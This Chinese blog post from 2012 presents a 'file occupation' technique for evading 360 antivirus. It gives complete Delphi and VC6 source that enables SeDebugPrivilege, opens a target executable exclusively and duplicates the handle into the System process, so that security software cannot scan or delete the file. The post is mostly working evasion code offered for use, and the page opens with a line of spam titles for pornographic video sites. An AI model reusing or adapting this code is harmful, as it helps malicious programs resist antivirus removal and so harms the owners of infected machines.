日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

文件占坑法過(guò)360查殺

 aaie_ 2012-02-28
原理是以獨(dú)占的方式打開(kāi)文件,再把文件句柄復(fù)制到另一個(gè)程序中去,達(dá)到本程序退出后目標(biāo)文件仍被打開(kāi)的目的

這是delphi代碼:

program createfile;
uses
Windows, SysUtils;
//提權(quán)函數(shù)
procedure SetPrivilege;
var
TPPrev, TP: TTokenPrivileges;
TokenHandle: THandle;
dwRetLen: DWORD;
lpLuid: TLargeInteger;
begin
OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, TokenHandle);
if (LookupPrivilegeValue(nil, ’SeDebugPrivilege’, lpLuid)) then
begin
TP.PrivilegeCount := 1;
TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid := lpLuid;
AdjustTokenPrivileges(TokenHandle, False, TP, SizeOf(TPPrev), TPPrev, dwRetLen);
end;
CloseHandle(TokenHandle);
end;
procedure OccupyFile(lpFileName: string);
var
hProcess, hFile, hTargetHandle: thandle;
begin
 //打開(kāi)一個(gè)pid為4的進(jìn)程,只要是存在的進(jìn)程,都可以
hProcess := OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);
if (hProcess = 0) then exit;
//以獨(dú)占模式打開(kāi)目標(biāo)文件
hFile := CreateFileA(PChar(lpFileName), GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile = INVALID_HANDLE_VALUE) then
begin
CloseHandle(hProcess);
exit;
end;
//把文件句柄復(fù)制到pid=4的進(jìn)程中去,這樣,只要pid=4的進(jìn)程不退出,誰(shuí)也動(dòng)不了目標(biāo)文件
DuplicateHandle(GetCurrentProcess(), hFile, hProcess, @hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS or DUPLICATE_CLOSE_SOURCE);
CloseHandle(hProcess);
end;
begin
SetPrivilege;
OccupyFile(’D:\Program Files\工具軟件\任務(wù)管理.exe’);//這是要保護(hù)的程序名
end.
















以下是vc6.0代碼
//VC-ConsoleWithApi
#include

//提權(quán)函數(shù)
void RaiseToDebugP()
{
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) )
{
TOKEN_PRIVILEGES tkp;
if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) )
{
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ;
}
CloseHandle(hToken);
}
}
BOOL OccupyFile( LPCTSTR lpFileName )
{
BOOL bRet;
//提升自身權(quán)限
RaiseToDebugP();
//打開(kāi)一個(gè)pid為4的進(jìn)程,只要是存在的進(jìn)程,都可以
HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4); // 4為system進(jìn)程號(hào)

if ( hProcess == NULL )
{
return FALSE;
}

HANDLE hFile;
HANDLE hTargetHandle;
//以獨(dú)占模式打開(kāi)目標(biāo)文件
hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);


if ( hFile == INVALID_HANDLE_VALUE )
{
CloseHandle( hProcess );
return FALSE;
}

//把文件句柄復(fù)制到pid=4的進(jìn)程中去,這樣,只要pid=4的進(jìn)程不退出,誰(shuí)也動(dòng)不了目標(biāo)文件
bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,
0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);

CloseHandle( hProcess );

return bRet;
}


//入口函數(shù)
int main()
{
OccupyFile("D:\\Program Files\\工具軟件\\任務(wù)管理.exe");

return 0;
}

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶(hù)發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買(mǎi)等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶(hù) 評(píng)論公約

    類(lèi)似文章 更多